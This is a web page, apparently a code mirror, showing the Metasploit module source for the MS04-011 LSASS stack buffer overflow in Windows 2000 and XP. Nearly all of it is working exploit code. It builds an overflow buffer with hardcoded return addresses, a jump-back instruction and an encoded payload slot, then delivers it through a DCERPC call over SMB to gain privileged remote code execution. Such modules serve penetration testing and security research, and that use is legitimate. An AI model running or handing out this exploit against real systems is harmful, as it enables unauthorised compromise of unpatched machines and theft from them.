Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms04_011_lsass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module exploits a vulnerability in the LSASS service10#11include Msf::Exploit::Remote::DCERPC12include Msf::Exploit::Remote::SMB::Client1314def initialize(info = {})15super(update_info(info,16'Name' => 'MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',17'Description' => %q{18This module exploits a stack buffer overflow in the LSASS service, this vulnerability19was originally found by eEye. When re-exploiting a Windows XP system, you will need20need to run this module twice. DCERPC request fragmentation can be performed by setting21'FragSize' parameter.22},23'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2003-0533' ],28[ 'OSVDB', '5248' ],29[ 'BID', '10108' ],30[ 'MSB', 'MS04-011' ],31],32'Privileged' => true,33'DefaultOptions' =>34{35'EXITFUNC' => 'thread'36},37'Payload' =>38{39'Space' => 1024,40'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",41'StackAdjustment' => -3500,42},43'Platform' => 'win',44'Targets' =>45[46# Automatic47[48'Automatic Targetting',49{50'Rets' => [ ],51},52],53# Windows 200054[55'Windows 2000 English',56{57'Rets' => [ 0x773242e0 ],58},59],60# Windows XP61[62'Windows XP English',63{64'Rets' => [ 0x7449bf1a ],65},66],67],68'DefaultTarget' => 0,69'DisclosureDate' => '2004-04-13'))7071deregister_options('SMB::ProtocolVersion')72end7374def exploit7576connect(versions: [1])77smb_login()7879handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc'])80print_status("Binding to #{handle}...")81dcerpc_bind(handle)82print_status("Bound to #{handle}...")8384print_status('Getting OS information...')8586# Check the remote OS name and version87os = smb_peer_os88buff = ''89case os9091# Windows 2000 requires that the string be unicode formatted92# and give us a nice set of registers which point back to93# the un-unicoded data. We simply return to a nop sled that94# jumps over the return address, some trash, and into the95# final payload. Easy as pie.96when /Windows 5\.0/97str = rand_text_alphanumeric(3500)98str[2020, 4] = [targets[1]['Rets'][0]].pack('V')99str[2104, payload.encoded.length ] = payload.encoded100buff = NDR.UnicodeConformantVaryingString(str)101102# Windows XP is a bit different, we need to use an ascii103# buffer and a jmp esp. The esp register points to an104# eight byte segment at the end of our buffer in memory,105# we make these bytes jump back to the beginning of the106# buffer, giving us about 1936 bytes of space for a107# payload.108when /Windows 5\.1/109str = rand_text_alphanumeric(7000) + "\x00\x00"110str[0, payload.encoded.length ] = payload.encoded111str[1964, 4] = [targets[2]['Rets'][0]].pack('V')112str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload113str[6998, 2] = "\x00\x00"114buff = NDR.UnicodeConformantVaryingStringPreBuilt(str)115116# Unsupported target117else118print_status("No target is available for #{ os }")119return120end121122stub = buff +123NDR.long(rand(0xFFFFFF)) +124NDR.UnicodeConformantVaryingString('') +125NDR.UnicodeConformantVaryingString('') +126NDR.UnicodeConformantVaryingString('') +127NDR.UnicodeConformantVaryingString('') +128NDR.long(rand(0xFFFFFF)) +129NDR.UnicodeConformantVaryingString('') +130NDR.long(rand(0xFFFFFF)) +131NDR.UnicodeConformantVaryingString('') +132NDR.long(rand(0xFFFFFF)) +133NDR.UnicodeConformantVaryingString('') +134rand_text(528) +135rand_text(528) +136NDR.long(rand(0xFFFFFF))137138print_status("Trying to exploit #{os}")139140begin141response = dcerpc_call(9, stub)142rescue Rex::Proto::DCERPC::Exceptions::NoResponse143print_status('Server did not respond, but that should be ok...')144rescue Rex::Proto::DCERPC::Exceptions::Fault145case $!.fault146when 0x1c010002147print_status('Server appears to have been patched')148else149print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)150end151end152153# Perform any required client-side payload handling154handler155end156end157158159